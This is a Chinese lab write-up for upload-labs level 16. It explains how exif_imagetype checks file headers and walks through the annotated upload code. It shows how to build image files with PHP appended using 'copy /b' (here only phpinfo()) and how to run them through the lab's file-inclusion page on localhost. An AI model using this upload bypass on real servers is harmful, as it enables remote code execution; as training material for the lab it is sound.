当前位置: 首页 > news >正文

upload-labs通关笔记-第16关 文件上传之exif_imagetype绕过(图片马)

目录

一、exif_imagetype

二、开启exif模块

1、phpstudy设置勾选php_exif模块

2、php.ini文件配置开启php_exif模块 

三、源码分析

四、图片马

1、图片马概念

2、图片马制作

五、渗透实战

1、上传图片马

2、利用文件包含访问图片马

(1)jpg

(2)gif

(3)png


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第16关图片马之exif_imagetype绕过渗透实战。

一、exif_imagetype

exif_imagetype 是 PHP 中的一个内置函数,其用途是判断图像文件的类型。它会读取文件的开头部分,以此识别文件对应的图像类型,并返回一个表示该图像类型的常量。exif_imagetype 原理是通过读取图像文件开头特定字节,这些字节构成文件签名。函数将读取到的签名与预设的各图像格式签名比对,如 JPEG、PNG 等。若匹配到某个格式签名,就返回对应表示图像类型的常量,若未匹配则返回 false。具体语法如下所示。

exif_imagetype ( string $filename ) : int|false
  • 参数:$filename:这是需要判断类型的图像文件的路径。
  • 返回值:若成功,该函数会返回一个表示图像类型的常量,这些常量如下表所示。
常量名对应的图像格式文件签名(十六进制)
IMAGETYPE_GIF1GIF 图像47 49 46 38 (GIF8)
IMAGETYPE_JPEG2JPEG 图像FF D8 FF
IMAGETYPE_PNG3PNG 图像89 50 4E 47
IMAGETYPE_SWF4Shockwave Flash46 57 53 (FWS) 或 43 57 53 (CWS)
IMAGETYPE_PSD5Photoshop 文档38 42 50 53 (8BPS)
IMAGETYPE_BMP6BMP 图像42 4D (BM)
IMAGETYPE_TIFF_II7TIFF 图像(Intel 字节顺序)49 49 2A 00 (II*)
IMAGETYPE_TIFF_MM8TIFF 图像(Motorola 字节顺序)4D 4D 00 2A (MM*)
IMAGETYPE_JPC9JPEG 2000 码流FF 4F FF 51
IMAGETYPE_JP210JPEG 2000 文件00 00 00 0C 6A 50 20 20
IMAGETYPE_JPX11JPEG 2000 文件(JPX)-
IMAGETYPE_JB212JBIG2 图像-
IMAGETYPE_SWC13Shockwave Flash 压缩文件-
IMAGETYPE_IFF14IFF 文件-
IMAGETYPE_WBMP15WBMP 图像-
IMAGETYPE_XBM16XBM 图像-
IMAGETYPE_ICO17ICO 图像00 00 01 00
IMAGETYPE_WEBP18WebP 图像52 49 46 46 x x x x 57 45 42 50
IMAGETYPE_AVIF19AVIF 图像66 74 79 70 61 76 69 66
IMAGETYPE_UNKNOWN0未知类型-

二、开启exif模块

exif_imagetype功能正常使用需要开启php_exif模块,具体方法有两种,选择任意一个均可。

1、phpstudy设置勾选php_exif模块

通过小皮工具首页-网站-管理-php扩展-选择勾选php_exif,具体效果如下所示。

2、php.ini文件配置开启php_exif模块 

找到对应版本的php.ini文件,搜索exif关键字,找到后注释掉前面的分号即可,如下所示。

三、源码分析

打开upload-labs靶场的第16关,源码如下所示。

 如上代码主要功能是实现一个简单的图片上传功能,并且会对上传的文件进行类型检查,只允许上传 GIF、JPEG 和 PNG 格式的图片。通过exif_imagetype检测白名单图片类型来验证是否为图片,具体分析如下所示。

(1)使用了exif_imagetype()检测真实文件类型,比单纯检查文件扩展名更可靠,能有效防止简单的图片马攻击(如仅修改扩展名)

(2)随机化文件名,使用随机数+日期时间戳生成文件名,防止直接猜测文件路径

但是该关卡未验证文件内容是否为为类型的图片,虽然检查了文件头,但未验证整个文件内容是否真实匹配该类型,故而攻击者可能构造一个带有有效图片头的恶意文件。详细注释的代码如下所示。

<?php
// 定义一个函数,用于判断文件是否为图片,并返回图片类型
function isImage($filename){// 需要开启php_exif模块才能使用exif_imagetype函数// exif_imagetype函数用于读取图片文件开头部分,判断其类型,并返回对应的常量$image_type = exif_imagetype($filename);// 使用switch语句根据不同的图片类型常量进行判断switch ($image_type) {// 如果是GIF图片类型case IMAGETYPE_GIF:// 返回文件扩展名gifreturn "gif";// 跳出switch语句break;// 如果是JPEG图片类型case IMAGETYPE_JPEG:// 返回文件扩展名jpgreturn "jpg";// 跳出switch语句break;// 如果是PNG图片类型case IMAGETYPE_PNG:// 返回文件扩展名pngreturn "png";// 跳出switch语句break;    // 如果不是以上列举的图片类型default:// 返回false,表示不是支持的图片类型return false;// 跳出switch语句break;}
}// 初始化一个变量,用于标记文件是否上传成功,初始值为false
$is_upload = false;
// 初始化一个变量,用于存储上传结果的提示信息,初始值为null
$msg = null;
// 检查是否通过POST方式提交了名为submit的表单数据
if(isset($_POST['submit'])){// 获取上传文件在服务器上的临时存储路径$temp_file = $_FILES['upload_file']['tmp_name'];// 调用isImage函数,判断上传的文件是否为支持的图片类型,并返回文件扩展名$res = isImage($temp_file);// 如果返回值为false,说明文件不是支持的图片类型if(!$res){// 设置提示信息,表明文件类型未知,上传失败$msg = "文件未知,上传失败!";}else{// 生成上传文件的最终保存路径,包含随机数、当前日期时间和文件扩展名$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;// 尝试将临时文件移动到最终保存路径if(move_uploaded_file($temp_file,$img_path)){// 如果移动成功,将上传成功标记设置为true$is_upload = true;} else {// 如果移动失败,设置提示信息,表明上传出错$msg = "上传出错!";}}
}
?>

四、图片马

1、图片马概念

图片马是一种将恶意代码隐藏在图片文件中的攻击手段。攻击者通过修改图片文件的二进制数据,将恶意脚本嵌入其中,通常利用Web服务器的文件包含访问图片马来执行恶意代码。

2、图片马制作

对于通过使用exif_imagetype判断是否为图片的情况,使用copy命令制作图片马的方法如下所示。

(1)构建脚本命名info.php

<?php
phpinfo();
?>

(2)准备好3种类型的图片test.gif,test.jpg,test.png

进入到图片文件test.gif,test.jpg,test.png和脚本文件info.php所在的目录

(3)制作图片马

然后执行以下命令即可生成test16.jpg,test16.gif,test16.png三种类型的图片马。

copy /b test.jpg + info.php test16.jpg
copy /b test.png + info.php test16.png
copy /b test.gif + info.php test16.gif
  • /b参数的作用是让copy命令以二进制模式进行文件合并,这样能保证图片文件的二进制数据不被破坏。
  • test.jpg是正常的图片文件。
  • info.php是包含恶意代码的脚本文件。
  • test16.jpg,test16.gif,test16.png是最终生成的图片马文件。

生成的图片马效果如下所示。

五、渗透实战

1、上传图片马

打开靶场第16关,上传第四步制作的3张图片马test16.jpg,test16.gif,test16.png,三个图片马均上传成功,右键获取图片马的URL地址,具体如下所示。

2、利用文件包含访问图片马

(1)jpg

http://127.0.0.1/upload-labs/include.php?file=upload/1420211026153704.jpg

(2)gif

http://127.0.0.1/upload-labs/include.php?file=upload/5320211026153647.gif

(3)png

http://127.0.0.1/upload-labs/include.php?file=upload/7820211026153708.png

相关文章:

upload-labs通关笔记-第16关 文件上传之exif_imagetype绕过(图片马)

目录 一、exif_imagetype 二、开启exif模块 1、phpstudy设置勾选php_exif模块 2、php.ini文件配置开启php_exif模块 三、源码分析 四、图片马 1、图片马概念 2、图片马制作 五、渗透实战 1、上传图片马 2、利用文件包含访问图片马 &#xff08;1&#xff09;jpg …...

力扣-两数之和

1.题目描述 2.题目链接 LCR 006. 两数之和 II - 输入有序数组 - 力扣&#xff08;LeetCode&#xff09; 3.题目代码 class Solution {public int[] twoSum(int[] numbers, int target) {int[]retnew int[2];int left0,rightnumbers.length-1;while(left<right){if(numbe…...

什么是大数据?

大数据的详细定义 大数据是来自计算机、移动设备和机器传感器的海量数据&#xff08;数万亿字节&#xff09;。企业利用这些数据推动决策、改进流程和政策&#xff0c;并打造以客户为中心的产品、服务和体验。大数据之所以被定义为 “大”&#xff0c;不仅在于其体量&#xff…...

25_05_19Linux实战篇、第一章_02若依前后端部署之路(前端)

Linux_实战篇 欢迎来到Linux的世界&#xff0c;看笔记好好学多敲多打&#xff0c;每个人都是大神&#xff01; 题目&#xff1a;若依前后端动静分离(前端) 版本号: 1.0,0 作者: 老王要学习 日期: 2025.05.21 适用环境: Rocky9.5 文档说明 环境准备 硬件要求 服务器&…...

SuperVINS:应对挑战性成像条件的实时视觉-惯性SLAM框架【全流程配置与测试!!!】【2025最新版!!!!】

一、项目背景及意义 SuperVINS是一个改进的视觉-惯性SLAM&#xff08;同时定位与地图构建&#xff09;框架&#xff0c;旨在解决在挑战性成像条件下的定位和地图构建问题。该项目基于经典的VINS-Fusion框架&#xff0c;但通过引入深度学习方法进行了显著改进。 视觉-惯性导航系…...

【后端】【UV】【Django】 `uv` 管理的项目中搭建一个 Django 项目

&#x1f680; 一步步搭建 Django 项目&#xff08;适用于 uv pyproject.toml 项目结构&#xff09; &#x1f9f1; 第 1 步&#xff1a;初始化一个 uv 项目&#xff08;如果还没建好&#xff09; uv init django-project # 创建项目&#xff0c;类似npm create vue⚙️ 第 …...

sqlsugar查看表结构并导出word文档

前提 SqlSugar 5.1.4 MiniWord 0.9.2 使用 using MiniSoftware; using SqlSugar;namespace ConsoleApp5 {internal class Program{/// <summary>/// 导出数据库表结构和字段信息/// https://www.donet5.com/Home/Doc?typeId1203/// </summary>/// <param n…...

【机器学习】支持向量机(SVM)

目录 一、支持向量机基本概念 1.1 定义 1.2 支持向量&#xff1a;距离超平面最近的样本点&#xff0c;决定了超平面的位置。 二、线性支持向量机 2.1 硬间隔支持向量机 2.2 软间隔支持向量机 三、非线性支持向量机 3.1 核函数 3.2 常用核函数 3.2.1 线性核&#xff1a…...

[Java实战]Spring Boot整合MinIO:分布式文件存储与管理实战(三十)

[Java实战]Spring Boot整合MinIO&#xff1a;分布式文件存储与管理实战&#xff08;三十&#xff09; 一、MinIO简介与核心原理 MinIO 是一款高性能、开源的分布式对象存储系统&#xff0c;兼容 Amazon S3 API&#xff0c;适用于存储图片、视频、日志等非结构化数据。其核心特…...

SpringBoot微服务编写Dockerfile流程及问题汇总

背景 跟 Docker 磕了两天&#xff0c;将一个包含 N 个微服务的应用部署包改造&#xff0c;使其能够生成 Docker 镜像&#xff0c;并在 Docker 容器中运行。几年前玩过 Docker&#xff0c;隐约记得几个命令「Dockerfile 命令&#xff1a;黑卡饮料、山楂果费、哦SUV&#xff0c;…...

PostgreSQL使用

一、PostgreSQL语法 PostgreSQL表、模式、库三者之间的关系 库 -> 模式 -> 表、视图、函数等等对象。 在postgresql的交互式终端psql中&#xff0c;“\”开头的命令称为元命令&#xff08;类似mysql的show语句&#xff09;&#xff0c;用于快速管理数据库。 常见元命令&…...

现代化SQLite的构建之旅——解析开源项目Limbo

现代化SQLite的构建之旅——解析开源项目Limbo 在当今飞速发展的技术世界中&#xff0c;轻量级且功能强大的数据库已成为开发者的得力助手。当我们谈论轻量级数据库时&#xff0c;SQLite无疑是一个举足轻重的名字。然而&#xff0c;随着技术的进步&#xff0c;我们对数据库的需…...

MySQL 主从复制搭建全流程:基于 Docker 与 Harbor 仓库

一、引言 在数据库管理中&#xff0c;MySQL 主从复制是一种非常重要的技术&#xff0c;它可以实现数据的备份、读写分离&#xff0c;减轻主数据库的压力。本文将详细介绍如何使用 Docker 和 Harbor 仓库来搭建 MySQL 主从复制环境&#xff0c;适合刚接触数据库和 Docker 的新手…...

网页表格转换为markdown

网页表格到Markdown&#xff1a;一键转换&#xff0c;复制即用&#xff01; 在日常工作中&#xff0c;我们经常需要从网页上复制表格数据&#xff0c;并将其转换成Markdown格式&#xff0c;以便在文档、邮件或论坛中使用。然而&#xff0c;手动转换不仅耗时&#xff0c;还容易…...

MySQL字符串拼接方法全解析

目录 常用字符串处理函数 方法一&#xff1a;CONCAT基础拼接 方法二&#xff1a;CONCAT_WS带分隔符拼接 方法三&#xff1a;GROUP_CONCAT分组拼接 方法四&#xff1a;算术运算符拼接&#xff08;仅限数字&#xff09; 常用字符串处理函数 方法一&#xff1a;CONCAT基础拼接…...

零基础教程:用 Docker + pgloader 将 MySQL 数据库迁移到 PostgreSQL

在日常开发中&#xff0c;可能会遇到从 MySQL 迁移到 PostgreSQL 的需求。你也许是&#xff1a; 正在准备从传统架构转向云原生&#xff1b;想使用 PostgreSQL 更强的事务与 JSON 支持&#xff1b;想统一团队数据库技术栈&#xff1b;纯粹为了尝试学习不同的数据库系统。 别担…...

影刀Fun叉鸟-2048

文章目录 仅为自动化演示&#xff0c;实际2048判定逻辑需要更加严谨 参考代码 # 使用提醒: # 1. xbot包提供软件自动化、数据表格、Excel、日志、AI等功能 # 2. package包提供访问当前应用数据的功能&#xff0c;如获取元素、访问全局变量、获取资源文件等功能 # 3. 当此模块作…...

uni-app(2):页面

1 页面简介 uni-app项目中&#xff0c;一个页面就是一个符合Vue SFC规范的 vue 文件。 在 uni-app js 引擎版中&#xff0c;后缀名是.vue文件或.nvue文件。 这些页面均全平台支持&#xff0c;差异在于当 uni-app 发行到App平台时&#xff0c;.vue文件会使用webview进行渲染&…...

【spring】spring学习系列之十一:spring的事件监听

系列文章目录 文章目录 系列文章目录前言一、使用二、整体流程三、EventListenerMethodProcessor和DefaultEventListenerFactory1.EventListenerMethodProcessor2.DefaultEventListenerFactory3.ApplicationListenerDetector4.initApplicationEventMulticaster5.registerListen…...

代码随想录打卡|Day45 图论(孤岛的总面积 、沉没孤岛、水流问题、建造最大岛屿)

图论part03 孤岛的总面积 代码随想录链接 题目链接 视频讲解链接 思路&#xff1a;既然某个网格在边界上的岛屿不是孤岛&#xff0c;那么就把非 孤岛的所有岛屿变成海洋&#xff0c;最后再次统计还剩余的岛屿占据的网格总数即可。 dfs&#xff1a; import java.util.Scanner…...

AI人工智能——Matplotlib绘制各种数据可视化图表的基础方法

一、绘制图像基础 import matplotlib.pyplot as plt# 1、创建画布 plt.figure(figsize(20, 8), dpi100) # 2、绘制图像 x [1, 2, 3, 4, 5, 6] y [3, 5, 4, 3, 6, 1] plt.plot(x, y) # 3、显示图像 plt.show() 二、图像保存 import matplotlib.pyplot as plt# 1、创建画布 p…...

亚马逊AWS跑不动了?

5月2日&#xff0c;亚马逊公布了2025年第一季度的财报。财报数据显示&#xff0c;云计算业务增速放缓以及第二季度的指引低于预期。事实上&#xff0c;这并不是亚马逊AWS第一次增速放缓。 亚马逊AWS作为全球第一大云计算服务公司&#xff0c;这些年跟微软云、谷歌云等其他云计…...

PyTorch中cdist和sum函数使用详解

torch.cdist 是 PyTorch 中用于计算**两个张量之间的成对距离&#xff08;pairwise distance&#xff09;**的函数&#xff0c;常用于点云处理、图神经网络、相似性度量等场景。 基本语法 torch.cdist(x1, x2, p2.0)参数说明&#xff1a; 参数说明x1一个形状为 [B, M, D] 或 …...

PyTorch的基本操作

前言 为了方便大家学习&#xff0c;我整理了PyTorch全套学习资料&#xff0c;包含配套教程讲义和源码 除此之外还有100G人工智能学习资料 包含数学与Python编程基础、深度学习机器学习入门到实战&#xff0c;计算机视觉自然语言处理大模型资料合集&#xff0c;不仅有配套教程…...

分类算法 Kmeans、KNN、Meanshift 实战

任务 1、采用 Kmeans 算法实现 2D 数据自动聚类&#xff0c;预测 V180,V260 数据类别&#xff1b; 2、计算预测准确率&#xff0c;完成结果矫正 3、采用 KNN、Meanshift 算法&#xff0c;重复步骤 1-2 代码工具&#xff1a;jupyter notebook 视频资料 无监督学习&#xff…...

aws平台s3存储桶夸域问题处理

当我们收到开发反馈s3存在跨域问题 解决步骤&#xff1a; 配置 S3 存储桶的 CORS 设置&#xff1a; 登录到 AWS 管理控制台。转到 S3 服务。选择你存储文件的 存储桶。点击 权限 标签页。在 跨域资源共享&#xff08;CORS&#xff09;配置 部分&#xff0c;点击 编辑。 登陆…...

在Windows上安装Pygame 2.1.3:解决常见问题

在Windows系统上安装Pygame 2.1.3时&#xff0c;可能会遇到各种问题&#xff0c;例如网络问题或依赖安装失败。本文将详细介绍如何在Windows上成功安装Pygame 2.1.3&#xff0c;并解决常见的安装问题。 1. 前提条件 在开始安装之前&#xff0c;确保你的系统中已经安装了Pytho…...

linux中安装jdk(Java环境),tomcat

安装时候选择 tomcat 软件版本要与程序开发使用的版本一致。jdk 版本要进行与 tomcat 保持一致。 1. 系统环境说明 [root@bogon ~]# getenforce Disabled [root@bogon ~]# systemctl status firewalld.service ● firewalld.service - firewalld - dynamic firewall daemon …...

DeepSeek源码解构:从MoE架构到MLA的工程化实现

文章目录 **一、代码结构全景&#xff1a;从模型定义到分布式训练****二、MoE架构&#xff1a;动态路由与稀疏激活的工程化实践****1. 专家路由机制&#xff08;带负载均衡&#xff09;****数学原理&#xff1a;负载均衡损失推导** **三、MLA注意力机制&#xff1a;低秩压缩与解…...

国产linux系统(银河麒麟,统信uos)使用 PageOffice实现PDF文件加盖印章和签字功能

PageOffice 国产版 &#xff1a;支持信创系统&#xff0c;支持银河麒麟V10和统信UOS&#xff0c;支持X86&#xff08;intel、兆芯、海光等&#xff09;、ARM&#xff08;飞腾、鲲鹏、麒麟等&#xff09;、龙芯&#xff08;Mips、LoogArch&#xff09;芯片架构。 PageOffice支持…...

第四十三节:人脸检测与识别-人脸识别基础 (Eigenfaces, Fisherfaces, LBPH)

引言 人脸识别技术是计算机视觉领域最具应用价值的方向之一,广泛应用于安防监控、身份认证、人机交互等领域。本文将通过OpenCV框架,深入解析人脸检测与识别的核心算法(Eigenfaces/Fisherfaces/LBPH),并提供完整的代码实现。 第一部分:人脸检测基础 1.1 人脸检测原理 …...

面向恶劣条件的道路交通目标检测----大创自用(当然你也可以在里面学到很多东西)

全部内容梳理 目标检测的两个任务&#xff1a; 预测标签 边界框 语义分割 实力分割 一个是类别 一个是实例级别 分类任务把每个图像当作一张图片看待 所有解决方法是先生成候选区域 再进行分类 置信度&#xff1a; 包括对类别和边界框预测的自信程度 输出分类和IOU分数的…...

物联网相关词汇

物联网&#xff08;英文&#xff1a;Internet of Things&#xff0c;缩写&#xff1a;IoT&#xff09; specs 英[speks] 美[speks] 规格说明 topology 英[təpɒlədʒɪ] 拓扑结构 vertical 美 [ˈvɜrtɪk(ə)l] 英 [ˈvɜː(r)tɪk(ə)l] n.垂直线&#xff1b;垂直位…...

【net6】一文跑通前后端以及数据库,简单的天气系统管理(保姆入门)

一、前言 使用Vue3为前端&#xff0c;.net6为后端&#xff0c;连接postgreSQL数据库&#xff0c;连通前后端与数据库&#xff0c;实现最基础的天气管理系统的增删改查。 二、内容 目录 一、前言 二、内容 2.1 后端部分 2.1.1 在VS里面使用此模板创建项目 2.1.2 安装下列…...

宝塔安装的 MySQL 无法连接的情况及解决方案

宝塔安装的 MySQL 无法连接的情况及解决方案 宝塔面板是一款流行的服务器管理工具&#xff0c;其中集成的 MySQL 数据库有时会出现连接问题。本文详细介绍两种最常见的 MySQL 连接错误&#xff1a;“1130 - Host is not allowed to connect” 和 “1045 - Access denied”&…...

【iOS】分类、扩展、关联对象

分类、扩展、关联对象 前言分类扩展扩展和分类的区别关联对象key的几种用法流程 总结 前言 最近的学习中笔者发现自己对于分类、扩展相关知识并不是很熟悉&#xff0c;刚好看源码类的加载过程中发现有类扩展与关联对象详解。本篇我们来探索一下这部分相关知识&#xff0c;首先…...

计算机网络学习(一)—— OSI vs TCP/IP网络模型

一、OSI模型&#xff08;开放系统互联参考模型&#xff09; OSI&#xff08;Open Systems Interconnection&#xff09;模型由ISO&#xff08;国际标准化组织&#xff09;在1984年提出&#xff0c;用于标准化网络通信&#xff0c;它将网络通信分为七个层次&#xff1a; 层级名…...

【MySQL成神之路】MySQL查询用法总结

MySQL查询语句全面指南 一、基础查询语句 MySQL中select的基本语法形式 select 属性列表 from 表名和视图列表 [where 条件表达式] [group by 属性名[having 条件表达式]] [order by 属性名[asc|desc]] [limit <offset>,row count] 说明&#xff1a; where子句&…...

攻防世界——Web题 fakebook

首先测试网站的功能&#xff0c;当我注册一个账号时&#xff0c;发现这里的链接&#xff1a; 点进去看到URL&#xff1a; 感觉no这个地方可以尝试一下sql注入 推测应该是数字型注入 发现果然可以进行sql注入&#xff0c; 最终测得列数应该是4列&#xff0c;但当我尝试sql注入…...

【Java微服务组件】异步通信P2—Kafka与消息

欢迎来到啾啾的博客&#x1f431;。 记录学习点滴。分享工作思考和实用技巧&#xff0c;偶尔也分享一些杂谈&#x1f4ac;。 欢迎评论交流&#xff0c;感谢您的阅读&#x1f604;。 目录 引言Kafka与消息生产者发送消息到Kafka批处理发送设计消息的幂等信息确保消息送达acks配置…...

AI数字人一体机和智慧屏方案:开启智能交互新纪元

在当今这个信息化飞速发展的时代&#xff0c;AI技术正以前所未有的速度改变着我们的生活方式和工作模式。特别是在人机交互领域&#xff0c;AI数字人的出现不仅极大地丰富了用户体验&#xff0c;也为各行各业提供了前所未有的创新解决方案。本文将重点介绍由广州深声科技有限公…...

10-码蹄集600题基础python篇

题目如上&#xff1a; 这题就是ASCII的转换&#xff0c;直接使用ord就可以 下面是代码&#xff1a; def main():#code here# a1,a2input().split(",")# print(f"The ASCII code of {a1} is {ord(a1)}")# print(f"The ASCII code of {a2} is {ord(a2…...

给几张图片和一段文字,怎么制作成带有语音的视频---php

想用PHP将图片和文字转换成带有语音的视频&#xff0c;想做自动化的视频生成&#xff0c;比如用于广告、演示或者其他需要多媒体处理的场景。 接下来考虑PHP本身的能力。PHP主要是用于服务器端的脚本语言&#xff0c;不太擅长处理多媒体内容&#xff0c;比如视频和语音合成。所…...

vue3中RouterView配合KeepAlive实现组件缓存

KeepAlive组件缓存 为什么需要组件缓存代码展示缓存效果为什么不用v-if 为什么需要组件缓存 业务需求&#xff1a;一般是列表页面通过路由跳转到详情页&#xff0c;跳转回来时&#xff0c;需要列表页面展示上次展示的内容 代码展示 App.vue入口 <script setup lang"…...

NIFI的处理器:ExecuteGroovyScript 2.4.0

ExecuteGroovyScript是常用的处理器之一&#xff0c;用于执行GroovyScript脚本。该脚本负责处理传入的流文件&#xff08;例如传输到SUCCESS或删除&#xff09;以及由该脚本创建的任何流文件。如果处理不完整或不正确&#xff0c;会话将被回滚。 属性值-失败处理策略 Failure …...

安全可控的AI底座:灯塔大模型应用开发平台全面实现国产信创兼容适配认证

国产信创产品兼容适配认证是为了支持和推动国产信息技术产品和服务的发展而设立的一种质量标准和管理体系。适配认证旨在确保相关产品在安全性、可靠性、兼容性等方面达到一定的标准&#xff0c;以满足政府和关键行业对信息安全和自主可控的需求。 北京中烟创新科技有限公司&a…...

.NET外挂系列:5. harmony 中补丁参数的有趣玩法(下)

一&#xff1a;背景 1. 讲故事 开局一张表&#xff0c;故事全靠编&#xff0c;为了能够承上启下&#xff0c;先把参数列表放出来。 参数名说明__instance访问非静态方法的实例&#xff08;类似 this&#xff09;。__result获取/修改返回值&#xff0c;要想修改用 ref。__res…...

Spring Boot 登录实现:JWT 与 Session 全面对比与实战讲解

Spring Boot 登录实现&#xff1a;JWT 与 Session 全面对比与实战讲解 2025.5.21-23:11今天在学习黑马点评时突然发现用的是与苍穹外卖jwt不一样的登录方式-Session&#xff0c;于是就想记录一下这两种方式有什么不同 在实际开发中&#xff0c;登录认证是后端最基础也是最重要…...

vscode离线安装组件工具vsix

1.外网下载vsix 网址为&#xff1a;Open VSX Registry 2.输入需要下载的组件 3.下载组件 4.安装 5.选择安装文件 6.安装完成...

Vue大数据量前端性能优化策略

文章目录 前言Vue大数据量前端性能优化策略1. 虚拟列表的使用方式及优势2. 列表和图表的懒加载技术3. Web Worker 在图表数据预处理中的应用4. 图表渲染优化技巧5. 分批渲染技术实现方法&#xff08;如 requestIdleCallback&#xff09;6. 其他可行的 Vue 层优化策略 前言 Vue…...